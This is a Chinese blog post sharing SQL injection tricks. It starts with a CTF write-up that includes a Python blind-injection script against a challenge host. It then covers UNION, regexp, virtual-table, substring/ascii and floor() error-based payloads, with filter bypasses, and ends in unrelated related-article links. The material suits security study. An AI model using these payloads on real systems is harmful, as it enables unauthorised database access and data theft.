SQL注入的一些技巧分享
先上一道简单的ctf注入题:
一道利用order by进行注入的ctf题
很不错的一道利用order by的注入题,之前不知道order by除了爆字段还有这种操作。
原题地址:http://chall.tasteless.eu/level1/index.php?dir=
直接进去dir后的参数是ASC,网页上有从1~10编号的10条信息。绕了一大圈反应出是order by后的参数,尝试把参数改为DESC,果然倒序排列了。题目给了提示:hint: table level1_flag column flag给了数据表和字段,于是开始构造payload。
于是玄学来了,在order by后面插入管道符|之后再跟一个偶数(?这里我真的不清楚)会导致排序错乱。尝试以下url:
http://chall.tasteless.eu/level1/index.php?dir=|2
果然排序错乱,那么想要查出flag必定要使用以下语句:
select flag from level1_flag
(结果证明确实这是一个一行一列的玩意儿,不然就要使用到limit或group_concat)
但是网页上没有显示这个的输出框,于是我们这样利用这个查询的结果集:
|(select(select flag from level1_flag)regexp '正则')+1
解释一下,括号里的正则匹配成功返回1,所以再加1变成2
所以如果匹配成功,网页的排序就会错乱,如果不成功排序则不会错乱,于是最终脚本:
import urllib
import requests
result_string="^"
right_url="http://chall.tasteless.eu/level1/index.php?dir=|(select(select flag from level1_flag limit 0,1) regexp 'sdfghj')%2b1"
ordered_content=requests.get(right_url).content
while(1):
for letter in '1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM?':
if(letter=='?'):
exit()
result_string_tem=result_string+letter
url="http://chall.tasteless.eu/level1/index.php?dir=|(select(select flag from level1_flag limit 0,1) regexp "+"'"+result_string_tem+"'"+")%2b1"
print url
content=requests.get(url).content
if(content!=ordered_content):
result_string=result_string_tem
print result_string
break
continue
总结一下:
1、管道符的使用(见正文)
2、regexp的使用(见正文)
其实还有一个group by后面的注入,where后面的都能用
0x00 union、intersect和minus的使用
union基本语法:
select语句
union select语句
intersect(交集)和minus(差集)也一样,但是mysql不支持交集和差集,所以这也是一个判断数据库的方法。
就说说union:
基本法:前后两个select语句的字段数要相同,不然sql必定报错,所以可以用union指令判断数据表的字段数,基本构造方法:
...where...union select 1,2,3,4,...,x limit y,z
其中where子句可以没有,limit视情况而定,中间输入进去的1,2,3,4,…,x他们中的任何一个都可以用函数代替,最终他们在默认排序的情况下会被拼接到结果集的最后一行。例:
mysql> select * from learning_test union select 1,version(),concat('sh','it'),4,5;
+------+---------+---------+---------+----------------------+
| num | column2 | column3 | column4 | bin_column |
+------+---------+---------+---------+----------------------+
| 1 | a | s | s | aaaaaaaa |
| 2 | b | s | s | ddd |
| 3 | c | s | s | wwwwwwww |
| 4 | d | s | s | fffffff |
| 1 | 5.5.53 | shit | 4 | 5 |
+------+---------+---------+---------+----------------------+
5 rows in set (0.03 sec)
union查询强大而灵活,因为他可以查询两个不同的表的信息,哪怕这两个表字段数不同,只要这样做:
mysql> select * from learning_test union select 1,version(),3,group_concat(test_table),5 from test_table;
+------+---------+---------+---------+----------------------+
| num | column2 | column3 | column4 | bin_column |
+------+---------+---------+---------+----------------------+
| 1 | a | s | s | aaaaaaaa |
| 2 | b | s | s | ddd |
| 3 | c | s | s | wwwwwwww |
| 4 | d | s | s | fffffff |
| 1 | 5.5.53 | 3 | 1,2,3 | 5 |
+------+---------+---------+---------+----------------------+
5 rows in set (0.03 sec)
而test_table内的数据结构是这样的:
+------------+
| test_table |
+------------+
| 1 |
| 2 |
| 3 |
+------------+
很明显与learning_test表的字段数不同,但是我们使用了group_concat()函数拼接了我们需要的内容。
0x01 管道符的使用
1、order by之后可以使用|数字使排序错乱,不清楚具体是怎么错乱的
2、where子句之后跟上|1或|0也能出数据,但要是跟上|大于一或小于零的数就出不了数据
0x02 regexp的使用
很简单,正则匹配,匹配对象必须是单行单列,或者说是字符串。基本语法:
select (select语句) regexp '正则'
意思是将括号内的查询的结果集尝试与给出的正则匹配,如果配对成功则返回1,配对失败返回0。
0x03 group_concat()的使用
将一列数据进行拼接,非常便利的函数,一般与union一起使用,就像本节的第一小节给出的最后一个例子一样。
0x04 利用虚拟表在不知道字段名的情况下出数据
-1 UNION ALL SELECT * FROM (
(SELECT 1)a JOIN (
SELECT F.4 from (
SELECT * FROM (SELECT 1)u JOIN (SELECT 2)i JOIN (SELECT 3)o JOIN (SELECT 4)r
UNION
SELECT * FROM NEWS LIMIT 1 OFFSET 4
)F
)b JOIN (SELECT 3)c JOIN (SELECT 4)d
)
先上一道ctf题的payload进行分析:
正常版:
-1 UNION ALL SELECT * FROM ((SELECT 1)a JOIN (SELECT F.4 from (SELECT * FROM (SELECT 1)u JOIN (SELECT 2)i JOIN (SELECT 3)o JOIN (SELECT 4)r UNION SELECT * FROM NEWS LIMIT 1 OFFSET 4)F)b JOIN (SELECT 3)c JOIN (SELECT 4)d)
这本是一道ctf题,前面估计是where后面的子句。这道题过滤了三样东西:1、空格,2、逗号,3、字段名
这里不详细说绕过,方法很多,空格利用%0a绕过,union指令中的逗号利用join绕过,limit指令中的逗号利用offset绕过。
这里因为payload中不能出现字段名,因此我们创建了一个与所查表字段数相同的虚拟表并对其并将其查询结果与前面的查询union起来。具体来说是这样:
-- 比如说在原查询的第二字段处出数据
... where ...
union all
select * from(
(select 1)a join(
select F.[需要查询的字段号] from(
select * from [需要查询的表有多少个字段就join多少个]
union
select * from [需要查询的表] [limit子句]
)F-- 我们创建的虚拟表没有表名,因此定义一个别名,然后直接[别名].[字段号]查询数据
)b-- 同上[还差多少字段就再join多少个,以满足字段数相同的原则] )
正常版:
... where ... union all select * from((select 1)a join(select F.[需要查询的字段号] from(select * from [需要查询的表有多少个字段就join多少个] union select * from [需要查询的表] [limit子句])F)b[还差多少字段就再join多少个,以满足字段数相同的原则])
payload中的join换成逗号亦可。
我们平时使用union时都是将union select 1,2,3,4…写在后面以填充不存在的数据并测试字段数。在这种操作中我们把union select 1,2,3,4…写在了前面来充当虚拟表的字段名。本质上来说并不是不知道字段名,而是把不知道字段名的表的查询结果和我们创建的字段名为1,2,3,4…的虚拟表的交集作为一个结果集返回。
这里有一个点,方括号内的limit子句需要特别注意,要取下面这个子查询↓
select F.[需要查询的字段号] from(select * from [需要查询的表有多少个字段就join多少个] union select * from [需要查询的表] [limit子句]
结果集的最后一行,因为我们需要的数据被union拼到了最后一行(在我们需要的数据只有一行的情况下)。
如果我们需要的东西不止一行会怎么样呢?一段简单的测试:
mysql> select * from learning_test union all SELECT * FROM ((SELECT 1)a JOIN (SELECT F.1 from (SELECT * FROM (SELECT 1)u UNION SELECT * FROM test_table LIMIT 2 OFFSET 1)F)b JOIN (SELECT 3)c JOIN (SELECT 4)d JOIN (select 5)e);
+------+---------+---------+---------+-------------+
| num | column2 | column3 | column4 | bin_column |
+------+---------+---------+---------+-------------+
| 1 | a | s | s | aaaaaaaaa |
| 2 | b | s | s | dddd |
| 3 | c | s | s | wwwwwwww |
| 4 | d | s | s | ffffffff |
| 1 | 2 | 3 | 4 | 5 |
| 1 | 3 | 3 | 4 | 5 |
+------+---------+---------+---------+-------------+
6 rows in set (0.00 sec)
并不会报错,我们需要的查询结果就是第5,6行第2字段的2和3。
下面是对虚拟表的简单测试:
mysql> select * from ((select 1)a join (select 2)b) limit 1 offset 1;
Empty set (0.00 sec)
mysql> select * from ((select 1)a join (select 2)b);
+---+---+
| 1 | 2 |
+---+---+
| 1 | 2 |
+---+---+
1 row in set (0.00 sec)
可以看到我们创建的确实是字段名为1和2的虚拟表,此表的结构为一行两列。
用虚拟表去union其他表的数据:
mysql> select * from ((select 233)a,(select 2333)b,(select 23333)c,(select 233333)d,(select 2333333)e) union select * from learning_test;
+------+------+-------+--------+-------------+
| 233 | 2333 | 23333 | 233333 | 2333333 |
+------+------+-------+--------+-------------+
| 233 | 2333 | 23333 | 233333 | 2333333 |
| 1 | a | s | s | aaaaaaaa |
| 2 | b | s | s | ddd |
| 3 | c | s | s | wwwwwwww |
| 4 | d | s | s | fffffff |
+------+------+-------+--------+-------------+
5 rows in set (0.00 sec)
表明我们之前的分析是正确的,方法可行。
0x05 substring()和ascii()的联合使用
用于猜解数据库名、表名、字段名和查询结果等
具体使用:
mysql> select ascii((select substring((select bin_column from learning_test where num=2),1,1)))>10;
+--------------------------------------------------------------------------------------+
| ascii((select substring((select bin_column from learning_test where num=2),1,1)))>10 |
+--------------------------------------------------------------------------------------+
| 1 |
+--------------------------------------------------------------------------------------+
1 row in set (0.02 sec)
看到返回了1,也就是说select bin_column from learning_test where num=2这个查询语句返回的结果集的第一个字符的ascii码确实是大于10的。当然这个过程是繁琐的,可以使用脚本进行自动化猜解,或使用sqlmap中集成的类似的自动化注入功能。
0x06 利用floor()报错注入
payload:
...and (select count(*),concat(version(),floor(rand(0)*8))x from information_schema.tables group by x)a;
或
...and (select count(*) from (select 1 union select null union select !1)x group by concat(version(),floo
SQL注入的一些技巧分享的更多相关文章
- SQL注入绕过的技巧总结
sql注入在很早很早以前是很常见的一个漏洞.后来随着安全水平的提高,sql注入已经很少能够看到了.但是就在今天,还有很多网站带着sql注入漏洞在运行.稍微有点安全意识的朋友就应该懂得要做一下sql注入 ...
- 跟bWAPP学WEB安全(PHP代码)--SQL注入的一些技巧
背景 模拟环境还是 bWAPP,只不过这个bWAPP的SQL注入有点多,一一写意义不大,在这边就利用这个环境来尝试一些SQL注入的技巧.并研究下PHP的防御代码. 普通的bWAPPSQL注入的简单介绍 ...
- 发现sql注入的一些技巧
1.如果一个'导致错误,试着查看\'能否成功(因为反斜杠在MySQL中取消了单引号)2.你也可以尝试注释掉,--',看页面返回是否正常.3.如果正常的输入只是一个整数,你可以尝试减去一些量,然后查看减 ...
- 【记录】SQL注入过滤源码分享
$id=check_addslashes($_GET['id']);$id= preg_replace('/o*r/i',"", $id); //strip out OR (non ...
- sql注入常见绕过技巧
参考链接:https://blog.csdn.net/huanghelouzi/article/details/82995313 https://www.cnblogs.com/vincy99/p/9 ...
- sql注入时易被忽略的语法技巧以及二次注入
那些容易被忽略.容易被弄错的地方 sql注入时的技巧 ========================================================================= ...
- SQL注入技术专题—由浅入深【精华聚合贴】
SQL注入技术专题—由浅入深[精华聚合贴] 不管用什么语言编写的Web应用,它们都用一个共同点,具有交互性并且多数是数据库驱动.在网络中,数据库驱动的Web应用随处可见,由此而存在的SQL注入是影响企 ...
- SQL注入绕WAF总结
0x00 前言 在服务器客户端领域,曾经出现过一款360主机卫士,目前已停止更新和维护,官网都打不开了,但服务器中依然经常可以看到它的身影.从半年前的测试虚拟机里面,翻出了360主机卫士Apache版 ...
- Bypass 360主机卫士SQL注入防御(多姿势)
0x00 前言 在服务器客户端领域,曾经出现过一款360主机卫士,目前已停止更新和维护,官网都打不开了,但服务器中依然经常可以看到它的身影.从半年前的测试虚拟机里面,翻出了360主机卫士Apache版 ...
随机推荐
- ionic1使用imagepicker在安卓手机上闪退问题
在上一篇文章中,提到了如何在ionic1中使用imagepicker插件,并且实现该插件显示中文(汉化)问题有兴趣可以看看:ionic1使用ImagePicker插件并且显示中文(汉化) 1.这次要解 ...
- Docker入门-构建第一个Java程序
定制镜像 准备一个没有第三方依赖的java web项目,可能参考示例maven结构项目: session-web.war 把该war上传到安装有docker软件的服务器上宿主目录下.在同级目录创建Do ...
- Docker入门-介绍和安装
Docker容器 Docker是什么 Docker最初是dotCloud公司创建人Solomon Hykes在法国期间发起的一个公司内部项目,它是基于dotCloud公司多年云服务技术的一次革新,并于 ...
- shiro所需的依赖
<dependency> <groupId>org.apache.shiro</groupId> <artifactId>shiro-spring< ...
- 关于Tomcat配置相关总结
特别提示:本人博客部分有参考网络其他博客,但均是本人亲手编写过并验证通过.如发现博客有错误,请及时提出以免误导其他人,谢谢!欢迎转载,但记得标明文章出处:http://www.cnblogs.com/ ...
- oracle存储过程及sql优化-(一)
本篇主要介绍存储过程的结构 先简单介绍下: oracle存储过程与函数不同,oracle函数和存储过程都可以有多个输入,但是函数一般只有一个输出,而oracle可以有多个输出且与输入 ...
- Linux如何安装卸载软件
Linux 中如何卸载已安装的软件. Linux软件的安装和卸载一直是困扰许多新用户的难题.在Windows中,我们可以使用软件自带的安装卸载程序或在控制面板中的“添加/删除程 序” 来实现.与其相类 ...
- C# 下载文件的心得
下载文件最常用的有两种: 第一种:直接使用A标签,对应着文件的地址. 第二种:将文件写成流,然后在回传给客户端. 第一种,使用起来方便,但是有个坏处,如果你的文件是可编辑的文件(比如Excel wor ...
- 2.进行model和log的路径创建
第一步:使用datetime.strftime(datetime.now(), '%Y%m%d-%H%M%S') 用于生成当前时间 第二步: 使用os.path.join() 将文件的路径与subdi ...
- Vs code工具汉化
官网为:https://code.visualstudio.com/ 看到中间有一些提示的命令 选择第一条,即Ctrl+shift+P,弹出命令行,选择"Configure Display ...